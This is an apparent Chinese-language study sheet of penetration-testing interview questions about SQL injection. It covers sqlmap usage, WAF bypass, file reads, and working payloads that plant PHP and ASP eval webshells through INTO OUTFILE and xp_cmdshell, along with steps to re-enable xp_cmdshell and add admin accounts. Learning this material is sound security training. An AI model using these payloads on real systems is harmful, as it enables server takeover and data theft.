sql注入的防御方法:
1.对输入的sql语句进行过滤或者转义
2.使用waf
3.数据库预编译(在根源上杜绝)http://www.php.cn/course/868.html
昨业:
1、mysql、mssql、orcacle端口是多少
答:mysql端口是3306、mssql是1433、orcacle端口是1521
2、weblogic、jboss、redis默认端口
7001 、 8080 、 6379
3、怎么挖一个网站的SQL注入漏洞
首先使用web扫描工具扫描是否存在sql注入漏洞,存在可以使用手注(单引号或者and 1=1,and 1=2 查看返回的页面),或者是使用sqlmap或者穿山甲工具进行挖洞。
4、mysql没有扫描3306是什么原因 ?
运推人员可能改端口了,另外mysql数据库默认3306不对外开放,
防火墙限止3306端口访问,只充许特定ip访问
5、0day漏洞是什么?怎么理解吗?你挖过这个漏洞吗?
6、网络设备渗透
如心脏滴血漏洞、Fortigate SSL VPN漏洞、bash破壳漏洞、弱口令等
7、nmap全端口扫描怎么做,常用的参数
nmap -sS -p 1-65535 192.168.1.112
8、sql注入写一个webshell怎么操作
前提条件是数据库权限是db_owner、知道网站的物理路径。写一个一句话木马上传到网站物理路径,然后使用中国菜刀进行操作。
9、sqlmap参数,post怎么测试
-r
10、注入点在cookie头里边怎么使用sqlmap测试
--level 3
11、如何判断一个sqlserver的注入能否执行系统命令
是否具备sa权限及恢复xp_cmdshell扩展存储
12、判断出网站的CMS对渗透有什么意义?
查找网上已曝光的程序漏洞。
如果开源,还能下载相对应的源码进行代码审计。
13.一个成熟并且相对安全的CMS,渗透时扫目录的意义?
敏感文件、二级目录扫描
站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
14.常见的网站服务器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
15.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
16、如何突破注入时字符被转义?
宽字符注入 hex编码绕过
17.注入漏洞只能查账号密码?
只要权限广,拖库脱到老。
public权限只能查看用户名和密码。
18.access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用
迅雷下载,直接改后缀为.mdb。
19、注入时可以不使用and 或or 或xor,直接order by 开始注入吗?
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。
20.某个防注入系统,在注入时会提示:
系统检测到你有非法注入的行为。 已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1
21.如何利用这个防注入系统拿shell?
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:[图片上传失败...(image-2b201f-1596011208330)]
http://ytxiao.lofter.com/post/40583a_ab36540
22.上传大马后访问乱码时,有哪些解决办法?
浏览器中改编码。
23、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选B,在 URL 编码中 + 代表空格,可能会造成混淆
24、.发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?
有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
25、sqlmap,怎么对一个注入点注入?
1)如果是get型号,直接,sqlmap -u "诸如点网址".
- 如果是post型诸如点,可以sqlmap -r "注入点网址” --data="post的参数"
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址"
26、sql注入的几种类型?
1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入
27、延时注入如何来判断?
and sleep(x)#
29、.报错注入的函数有哪些?
updatexml与extractvalue,floor
30.盲注和延时注入的共同点?
都是一个字符一个字符的判断
31.sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
例子:?id=-1' UNION SELECT 1,2,(select load_file('c:\boot.ini'))INTO OUTFILE "c:\test\aaa.txt"--+
32、注入分为几类及提交方式是什么
字符,数值,搜索,xx ,提交方式:get,post,cookie
33、注入攻击一般所支持的类型有那些
union注入、insert、update、delete注入、information_schema注入、宽字节注入、盲注(boolean、时间、报错)、cookie注入、http header注入
34、mysql数据库帐号和密码存放在那个库和表里面
mysql数据库的 user表
**35、如何寻找网站物理路径 **
mysql可以使用以下方法可以查找到网站的物理路径:
1. 直接在出错信息中显示web路径
在注入点处加单引号,或者修改提交变量类型,让查询语句出错,从出错信息中往往可以爆出网站Web物理路径
2.load_file(char(47))直接列出FreeBSD等inux系统的文件夹目录
3.查看/etc/passwd文件中的工作目录
4.读取apache的配置文件httpd.conf获取web路径
36、分别写出mysql及mssql数据库写入webshell的方法
mssql写入webshell方法
前提条件是知道网站的web物理路径,mssql数据库在db_owner权限下可以使用写入一句话木马获取webshell 命令:
;exec master..xp_cmdshell 'Echo "<%eval%20request("chopper")%>" >> c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--
在使用中国菜刀执行木马。
mysql写入webshell方法
1.判断注入点
2.服务器文件进行读写操作权限的判断
(1).需要知道远程目录
(2).需要远程目录有写入权限
(3).上次目录需要有执行脚本的权限,默认是有
(4).需要数据库开启secure_file_priv,在my.ini中配置。可以在mysql命令行使用命令:show variables like '%secure%'
3.获取web路径
4.服务器读写文件:
union select 1 ,loaf_file('c:\boot.ini') -- &submit=submit,可查看对方的操作系统
5.写webshell获取权限:
union select "<?php @eval($_POST['123']);?>",2 into outfile "c:\php\htdocs\123.php"+--+&Submit=Submit
37、请说出mysql5.0以下与5.0以上的区别
mysql5以下的版本存在字符转义以及不支持字句查询,所以进行数据库爆破时只能使用类似access数据库的方法进行猜测。
mysql5存在information_schema数据库,注入比较方便容易。
38、sql注入对服务器文件读写操作需要那些条件
1.需要知道网站目录
2.网站目录需要有写入权限
3.上传目录需要有执行脚本的能力
4.需要数据库开启secure_file_priv。
39、分别说出sqlmap -u -r -v -p --level --risk --tables --columns -T --tamper参数的含义
-v:erbose信息级别,默认为1,级别0-6
-p:针对单个参数注入
--level:执行测试的等级
--risk:执行测试的风险
-T:指定查询的表名
--tamper:sqlmap过waf
--file-read:读文件内容
--file-write:写webs hell --file-dest:将文件上传到的路径
--os -shell:系统交互的shell
--os-cmd :
40、注入漏洞防范方法
1.在代码方面:对输入的数据进行严格的转义和过滤、使用参数化
2.在网络层面:通过waf设备启用防sql inject注入策略、云端防护(360网站卫士、阿里云盾)
41、mssql删除xp_cmdshell怎么恢复
判断xp_cmdshell是否存在:
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
恢复:
;exec sp_configure 'show advanced options ',1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell';RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
42、sql注入的原理是什么?如何避免sql注入?
sql注入原理:web应用程序在用户提交数据时没有做合法性判断,攻击者可以在web应用程序事先预定好的sql语句添加额外的sql语句,欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
避免sql注入的方法:
1.在代码方面:对输入的数据进行严格的转义和过滤、使用参数化
2.在网络层面:通过waf设备启用防sql inject注入策略、云端防护(360网站卫士、阿里云盾)
43、mysql拿到webshell的方法
1.判断注入点
2.服务器文件进行读写操作权限的判断
(1).需要知道远程目录
(2).需要远程目录有写入权限
(3).上次目录需要有执行脚本的权限,默认是有
(4).需要数据库开启secure_file_priv,在my.ini中配置。可以在mysql命令行使用命令:show variables like '%secure%'
3.获取web路径
4.服务器读写文件:
union select 1 ,loaf_file('c:\boot.ini') -- &submit=submit,可查看对方的操作系统
5.写webshell获取权限:
union select "<?php @eval($_POST['123']);?>",2 into outfile "c:\php\htdocs\123.php"+--+&Submit=Submit
44、sql sever数据库怎么拿到webshell
1.判断注入点
2.判断数据库的权限是sa,db_owner,public
sa权限
1.判断xp_cmdshell存储过程是否存在,不存在使用命令恢复
2.添加账号并加入管理员组
3.开启3389 端口
db_owner权限
1.找出网站路径
2.写入一句话木马获取webshell
public权限只能获取表名和数据。
45、请写出IIS、apache的默认路径及配置文件
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf apache默认路径
网友评论